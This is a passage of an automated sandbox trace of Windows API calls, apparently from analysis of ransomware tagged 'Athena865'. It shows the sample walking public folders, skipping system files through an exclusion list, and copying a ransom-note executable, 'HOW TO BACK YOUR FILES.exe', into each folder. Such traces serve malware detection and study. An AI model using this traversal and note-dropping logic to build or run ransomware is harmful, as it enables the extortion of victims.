lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0053.424] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0053.424] lstrlenW (lpString="Templates") returned 9 [0053.424] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0053.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5c8 [0053.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5196f0 [0053.424] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0053.424] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0053.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.425] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0053.425] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.425] ReleaseMutex (hMutex=0xec) returned 1 [0053.425] CloseHandle (hObject=0xec) returned 1 [0053.425] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Desktop" | out: lpString1="C:\\Documents and Settings\\All Users\\Desktop") returned="C:\\Documents and Settings\\All Users\\Desktop" [0053.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528590 | out: hHeap=0x4f0000) returned 1 [0053.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c620 | out: hHeap=0x4f0000) returned 1 [0053.425] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Desktop") returned 43 [0053.425] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5208E69BC817E7C49F3BE1DE0589FBB1") returned 0xec [0053.425] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.425] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Desktop" | out: lpString1="C:\\Documents and Settings\\All Users\\Desktop") returned="C:\\Documents and Settings\\All Users\\Desktop" [0053.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.426] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.426] GetLastError () returned 0x0 [0053.426] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.426] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.427] CloseHandle (hObject=0xf4) returned 1 [0053.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.427] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.427] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.427] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.427] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.427] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.427] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.427] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.427] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.427] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.428] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.428] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk.Athena865", cAlternateFileName="ADOBER~1.ATH")) returned 1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2=".") returned 1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="..") returned 1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="windows") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="bootmgr") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="temp") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="boot") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="ids.txt") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="perflogs") returned -1 [0053.428] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="MSBuild") returned -1 [0053.428] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0053.428] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Adobe Reader X.lnk.Athena865" | out: lpString1="Adobe Reader X.lnk.Athena865") returned="Adobe Reader X.lnk.Athena865" [0053.428] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0053.428] lstrlenW (lpString="Athena865") returned 9 [0053.428] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.428] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0053.428] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0053.429] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0053.429] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0053.429] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.429] lstrcpyW (in: lpString1=0x241e8a0, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0053.429] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.429] lstrlenW (lpString="Athena865") returned 9 [0053.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk.Athena865", cAlternateFileName="GOOGLE~1.ATH")) returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2=".") returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="..") returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="windows") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="bootmgr") returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="temp") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="boot") returned 1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="ids.txt") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="perflogs") returned -1 [0053.429] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="MSBuild") returned -1 [0053.429] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0053.429] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Google Chrome.lnk.Athena865" | out: lpString1="Google Chrome.lnk.Athena865") returned="Google Chrome.lnk.Athena865" [0053.429] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0053.429] lstrlenW (lpString="Athena865") returned 9 [0053.429] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.429] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 1 [0053.429] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.429] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.429] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2=".") returned 1 [0053.429] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="..") returned 1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="windows") returned -1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="bootmgr") returned 1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="temp") returned -1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="boot") returned 1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="ids.txt") returned 1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="perflogs") returned -1 [0053.430] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="MSBuild") returned -1 [0053.430] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0053.430] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Mozilla Firefox.lnk.Athena865" | out: lpString1="Mozilla Firefox.lnk.Athena865") returned="Mozilla Firefox.lnk.Athena865" [0053.430] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0053.430] lstrlenW (lpString="Athena865") returned 9 [0053.430] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.430] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 0 [0053.430] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.430] ReleaseMutex (hMutex=0xec) returned 1 [0053.430] CloseHandle (hObject=0xec) returned 1 [0053.430] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Documents" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents") returned="C:\\Documents and Settings\\All Users\\Documents" [0053.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51af88 | out: hHeap=0x4f0000) returned 1 [0053.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c638 | out: hHeap=0x4f0000) returned 1 [0053.430] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Documents") returned 45 [0053.430] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D6F4763C38EAAB2D3E1FEC54BB0C9189") returned 0xec [0053.430] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.430] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Documents" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents") returned="C:\\Documents and Settings\\All Users\\Documents" [0053.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.431] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.431] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.431] GetLastError () returned 0x0 [0053.431] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.431] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.432] CloseHandle (hObject=0xf4) returned 1 [0053.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.432] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.432] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.432] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.432] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.433] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.433] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.433] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.433] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0053.433] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0053.433] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.433] lstrcpyW (in: lpString1=0x241e8a4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0053.433] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.433] lstrlenW (lpString="Athena865") returned 9 [0053.433] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.433] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.433] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.433] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0053.433] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0053.434] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0053.434] lstrlenW (lpString="My Music") returned 8 [0053.434] lstrcpyW (in: lpString1=0x241e8a4, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0053.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c638 [0053.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52d5e8 [0053.434] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0053.434] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0053.434] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and 